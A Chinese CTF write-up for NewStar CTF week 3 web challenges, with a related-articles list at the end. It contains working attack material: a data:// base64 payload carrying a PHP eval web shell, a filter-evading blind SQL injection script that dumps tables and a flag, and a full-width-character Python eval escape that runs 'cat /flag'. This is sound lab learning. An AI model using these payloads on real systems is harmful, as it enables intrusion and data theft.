当前位置: 首页 > article >正文

NewStar CTF week3 web wp

week3

include me

题目打开过5秒就会自动跳转,赶紧冲手速把代码复制下来

<?php
highlight_file(__FILE__);
function waf(){
    if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
        die("兄弟你别包");
    };
}
if(isset($_GET['phpinfo'])){
    phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
    header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>

传入参数iknow就可以防止跳转,看一下绕过,大致都被禁用了,根据伪协议提示想到data协议,但是php也被禁用了,于是只能翻文档,找到编码绕过在这里插入图片描述

payload:
http://127.0.0.1:63097/?iknow=1&data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

看wp时发现一些细节需要注意

  • 编码后最后不能是+,会被解析成空格
  • 如果密文中带=号被过滤,可以采取明文前多加几个空格的方法
    在这里插入图片描述

blindsql1

提示盲注,进来随便尝试一下,发现不给回显,一些关键词可能被禁用
在这里插入图片描述
测试一下,发现空格,union,=,/都被过滤了

  • =号的绕过可以用like或in
  • 空格和/的绕过可以用括号
  • and前面是字符串或者括号可以不加空格

写一个盲注脚本,利用name=alice and 猜测值=实际值,如果猜对,and后面是true,alice的信息会被带出,注意要在alice的后面加上’来闭合
记录一下写脚本时候踩的坑

  • 当用like或in代替=时,两边的数据都要加上(),不然会被识别成一整个字符串
  • ord(c)一定要放到{}里面,因为这是python的代码,sql不会执行
import string,time,tqdm,requests
url='http://127.0.0.1:62459/'
result=''
for i in tqdm.trange(1,100):
    for c in string.digits+string.ascii_letters+'_-':
        time.sleep(0.2)
        tables='(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'
        char=f'ord(mid({tables},{i},1))'
        bl=f'(({char})in({ord(c)}))'
        p=f'Alice\'and({bl})#'
        response=requests.get(url,params={'student_name':p})
        if 'Alice' in response.text:
            result+=c
            print(result)
            break

到25时爆破速率明显减慢,猜测只有这几张表在这里插入图片描述
courses,secrets,students
接下来爆破secrects列名
在这里插入图片描述
随后在三列中翻翻flag

for i in tqdm.trange(1,100):
    for c in string.digits+string.ascii_letters+string.punctuation:
        time.sleep(0.2)
        tables='(select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'
        char=f'ord(mid({tables},{i},1))'
        bl=f'(({char})in({ord(c)}))'
        p=f'Alice\'and({bl})#'
        response=requests.get(url,params={'student_name':p})
        if 'Alice' in response.text:
            result+=c
            print(result)
            break

臭皮的计算机

根据提示进入到/calc,随便测一下,发现会返回报错信息,且输出使用print(eval),测试system,有特殊信息,说明应该是要绕过执行命令在这里插入图片描述
连续测了system,shell_exec,phpinfo,似乎全都被禁用了,开源代码看一下,发现能看到代码逻辑,且字母全被过滤了在这里插入图片描述
做不下去了,开wp看一看,提到用全角字符绕过,Google一下在这里插入图片描述
因为是python脚本,所以不能直接用system,在这里也是学到一个新姿势在这里插入图片描述
在这里插入图片描述
转为全角字符时报错,猜测是因为括号内字符不能继续用全角,采用chr函数或八进制绕过

str='oscatflag'
res=''
for i in str:
    res+=f'chr({ord(i)})+'
print(res)

结果又被禁用了,看wp一下子想通了,全角字符在当作函数名或者import使用时可以正常运行,所以数字和括号需要用半角字符

_import_(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

臭皮踩踩背

这道题似乎出什么问题了
在这里插入图片描述

这照片是你吗

触及到知识盲区了,顺着wp做一做
在这里插入图片描述
静态文件的提示,说明应该去找可读文件,随后,从响应标头里找到疑似flask框架的信息在这里插入图片描述
随后,根据flask框架,猜测主程序名是app.py在这里插入图片描述
路径穿越回根目录看一下,被禁止访问了,但是可以访问下级目录,试试看一些默认位置

在这里插入图片描述
之后因为本地抓包的配置一直没弄好,就一直卡在这里了


http://www.kler.cn/a/576186.html

相关文章:

  • 【算法系列】桶排序算法介绍及实现
  • 永洪科技深度分析实战,零售企业的销量预测
  • MySQL 数据目录迁移导致启动失败
  • 【前端基础】Day 10 CSS3-2D3D
  • VSCode SSH中删除指定IP的方法
  • MySQL : 数据库和表操作
  • LLM 学习(二 完结 Multi-Head Attention、Encoder、Decoder)
  • PDFelement Pro v11.4.8.3352 万兴PDF国际解锁版 下载
  • 大模型在垂直行业的落地实践:从通用到定制化的技术跃迁
  • 【GoTeams】-4:为项目引入etcd
  • 爬虫代理技术深度解析:从原理到实战应用
  • vue3,Element Plus中抽屉el-drawer的样式设置
  • Jenkins 自动打包java项目镜像部署到服务器
  • 【Manus】AI 代理人正式上岗-附Manus邀请码限时通道
  • 深度学习——Tensor
  • esp32的IDF开发学习-驱动ws2812B
  • NTIRE比赛:技术前沿、国内企业表现与计算机视觉未来展望
  • Qwen 模型与 LlamaFactory 结合训练详细步骤教程
  • e2studio开发RA4M2(15)----配置RTC时钟及显示时间
  • STM32G431RBT6--(3)片上外设及其关系